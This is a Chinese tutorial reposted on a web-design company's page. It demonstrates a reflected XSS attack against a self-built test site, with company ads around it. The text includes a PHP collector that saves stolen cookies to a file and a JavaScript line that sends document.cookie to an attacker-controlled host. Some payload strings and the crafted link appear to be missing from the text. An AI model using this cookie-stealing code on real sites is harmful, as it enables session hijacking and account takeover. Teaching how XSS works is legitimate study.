反射型xss实战演示

我们知道，XSS攻击大致分为三种类型 ：Persistent型(持久型)，Non-persistent(反射型)及Dom-based型。而反射型是最常用，也是使用得最广的一种攻击方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接才能引起。

创新互联专注于安龙企业网站建设,响应式网站设计,电子商务商城网站建设。安龙网站建设公司,为安龙等地区提供建站服务。全流程定制网站设计，专业设计，全程项目跟踪，创新互联专业和态度为您提供的服务

今天，通过一个反射型xss的实战演示，让大家详细了解这种攻击方式。

准备工作：

(1) 一个有反射型xss漏洞的网站(自己搭的虚拟站点，域名为xsstest.qq.com),该域名下有一个首页(index.html),一个登陆页面(login.html),一个登陆的cgi(login.php)，一个用于搜索的cgi(search.php)。界面如下：

由于xss漏洞一般发生于与用户交互的地方，因此搜索框是我们关注的重点。

(2)我们自己的黑客网站(另一个虚拟站点 hacker.qq.com)。该域名下有一个hack.php，用以收集用户的cookie，一个hacker.js用以向hack.php发请求。

发现漏洞

我们首先需要找出站点的xss漏洞发生在什么地方，上面提到，与用户交互的地方是我们的主要关注点。好，现在我们随意输入几个字符“计算机”，点击搜索：

搜索界面如下(这是自己写的一个简陋的搜索界面)：

这里发现了我们输入的字符出现在了搜索界面上(很多电商网站应该都是这种界面页面形式吧)。好，这次我们输入一些特殊字符来试试“”，点击搜索：

出现了我们心仪的小弹窗，看来search.php未对用户输入的关键词作任何处理，便直接输出到界面上，既然xss漏洞出现，那么便可以开始实施攻击了，这次攻击的目的是盗取用户的cookie。

实施攻击

首先我们来写我们自己的手机cookie CGI(hack.php)，代码如下：

 
 
 

  
  
  

  
  
  
$cookie = $_GET['q']; 
  
  
  
var_dump($cookie); 
  
  
  
$myFile = "cookie.txt"; 
  
  
  
file_put_contents($myFile, $cookie); 
  
  
  
?> 
 
 
 

接着写发送请求的hacker.js,代码如下：

var img = new Image();
img.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);

好的，现在可以构造一个连接来欺骗用户了：

点击就送998 

看search.php 后的q参数 ,解码后为

实际的作用是模拟用户在搜索框中输入

后点击搜索。search.php未经处理的将其直接输入到页面，使其在html文档中有了新的语义。它会加载hacker.qq.com域下的haker.js。

好，当用户登陆了网站后，再欺骗用户点击这个链接，这时候，看hacker.qq.com域下，发现多了一个cookie.txt文件，打开来：

发现用户用于登陆的账号，密码都在内，密码是经过加密的。OK，现在我们便可以拿着这个cookie来获取用户的登陆态了。

整个攻击过程结束。

当然，现实过程中，很少有网站有如此明显的xss漏洞。这里只是给大家示范了一下反射型xss的原理，现实中的漏洞虽然五花八门，但是本质是不变的。大家可以进一步研究。

网页题目：反射型xss实战演示
URL地址：http://www.shufengxianlan.com/qtweb/news13/541263.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联